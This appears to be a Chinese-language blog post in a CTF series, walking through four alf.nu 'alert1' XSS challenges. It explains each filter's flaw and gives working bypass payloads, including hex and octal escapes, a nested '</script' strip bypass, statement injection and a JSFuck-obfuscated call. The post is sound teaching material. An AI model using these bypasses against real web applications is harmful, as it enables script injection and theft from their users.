iT邦幫忙

2021 iThome 鐵人賽

DAY 24
0

接續昨天的 XSS Lab(2)-1,今天繼續解 https://alf.nu/alert1

  1. Template:
    • 題目:

      function escape(s) {
        function htmlEscape(s) {
          return s.replace(/./g, function(x) {
             return { '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[x] || x;       
           });
        }
      
        function expandTemplate(template, args) {
          return template.replace(
              /{(\w+)}/g, 
              function(_, n) { 
                 return htmlEscape(args[n]);
               });
        }
      
        return expandTemplate(
          "                                                \n\
            <h2>Hello, <span id=name></span>!</h2>         \n\
            <script>                                       \n\
               var v = document.getElementById('name');    \n\
               v.innerHTML = '<a href=#>{name}</a>';       \n\
            <\/script>                                     \n\
          ",
          { name : s }
        );
      }
      
      • 本題 function expandTemplate 自己實作了 template string 的功能
        • 會從 template 字串中找到 {變數名稱} ,替換為 args[變數名稱]
        • 若遇到 <>&"' 會跳脫成 HTML Entity 的格式
    • 解題:

      • JavaScript 字串中可以使用 Hex 來表示字元
        • < 的十六進制為 \x3c
        • > 的十六進制為 \x3e
    • ANS:

      • \x3cimg src=1 onerror=alert(1)\x3e
  2. JSON2
    • 題目:

      function escape(s) {
        s = JSON.stringify(s).replace(/<\/script/gi, '');
      
        return '<script>console.log(' + s + ');</script>';
      }
      
      • JSON.stringify 會將 JavaScript 變數轉化為 JSON 格式的字串,本題會先將輸入值丟入 JSON.stringify ,接著還會從中找出所有 </script 字串(大小寫不論),替換為空字串
    • 解題:

      • JSON.stringify 會令我們無法直接使用 ") 閉合前面的 console.log ,但當語法錯誤時,瀏覽器傾向於將 </script> 優先處理,並顯示前面的字串並未閉合的錯誤。

        Error: SyntaxError: "" literal not terminated before end of script
        
      • 因此我們不需要跳脫") ,只要能夠構造出 </script> 即可。本題雖然會將 </script 替換為空字串,但由於沒有反覆檢查,只需要讓 </script 刪除後會產生新的 </script 即可,例如 </</scriptscript

      • 成功使用 </script 跳脫後,只要再開一個新的 script 元素,並將後面多餘文字註解即可。

    • ANS:

      • </</scriptscript><script>alert(1);//
  3. Callback2
    • 題目:

      function escape(s) {
        // Pass inn "callback#userdata"
        var thing = s.split(/#/); 
      
        if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
        var obj = {'userdata': thing[1] };
        var json = JSON.stringify(obj).replace(/\//g, '\\/');
        return "<script>" + thing[0] + "(" + json +")</script>";
      }
      
      • 本題有兩個輸入 callbackuserdata ,使用 # 隔開
      • 首先題目會檢查 callback 是否僅由字母、 []' 所組成
      • 接著將 userdata 放入 obj ,建構成一個 Object,再放入 JSON.stringify 轉換為 JSON 字串 json
      • 接著比對 json 字串中是否有 / ,若有,則全部跳脫為 \/
      • 最後輸出 "<script>" + thing[0] + "(" + json +")</script>"
    • 解法:

      • 根據最後的輸出,可以看到題目是預期我們呼叫 callback 函數,並將 userdata 嵌入到 JSON 字串中作為參數。

        • 隨便輸入一點字,較容易理解,例如 aaaa#bbbb 會輸出:

          <script>aaaa({"userdata":"bbbb"})</script>
          
      • 在 JavaScript 裡, 一個 expression 可以直接作為 statement ,例如 1 + 3;console.log('baba'); 都是有效的 statement。本題我們可以利用這個特性,在 callback 中輸入 ' ,在 userdata 中同樣輸入 ' ,即可將中間的 ({"userdata":" 全部變成字串,接著用分號直接結束這個 statement,即可在後方輸入其他指令,如下所示:

        		   /* 我是字串 */
        <script> '({"userdata":"';  alert(1);  "})</script>
        
      • 接下來將後面多餘文字註解掉即可。

    • ANS:

      • '#';alert(1)<!--
  4. Skandia2
    • 題目:

      function escape(s) {
        if (/[<>]/.test(s)) return '-';
      
        return '<script>console.log("' + s.toUpperCase() + '")</script>';
      }
      
      • 本題會檢查輸入值 s 是否有包含 <> ,有的話直接 return -
      • 接著會將輸入值全部轉大寫。
    • 解題:

      • 本題的 console.log 可以用 ");直接跳脫。
      • 由於 JavaScript 會區分大小寫,轉大寫後的函數、變數名稱都會無法正常使用。
      • 此時可以利用以下幾個特性組合使用,來呼叫 alert(1)
        • JavaScript 的 Object property 除了用 obj.prop 存取,也可以用 obj['prop'] 存取。
        • JavaScript 中,所有資料格式都是繼承 Object 而來,包含 Number, Array, Function 都是。
        • function 的 constructor 可以接受字串輸入來產生新 function。
        • JavaScript 的字串中可以用八進位來表示字元,如 \000
      • 首先隨便產生一個物件,取出其中的 function ,例如 ""at function
        • 為了避免被轉成大寫,因此使用八進位寫成 ""['\141\164']
      • 接著從 function 取出 constructor,輸入想要執行的字串,生成新的 function, 也就是 "".at.constructor('alert(1)')
        • 為了 bypass ,使用八進位寫成 ""['\141\164']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')
      • 最後將 function 用 () 執行,最後再註解後方文字即可
    • ANS:

      • "); ""['\141\164']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()//
      • 如果不想自己轉換,可以用 JSFuck ,這是一個 obfuscation 工具,能夠只用六個符號()+[]! 來表示所有 JS 語法
        • ");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()//

上一篇
【第二十三天 - XSS Lab(2)-1】
下一篇
【第二十五天 - XSS Lab(2)-3】
系列文
【CTF衝衝衝 - Web篇】30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言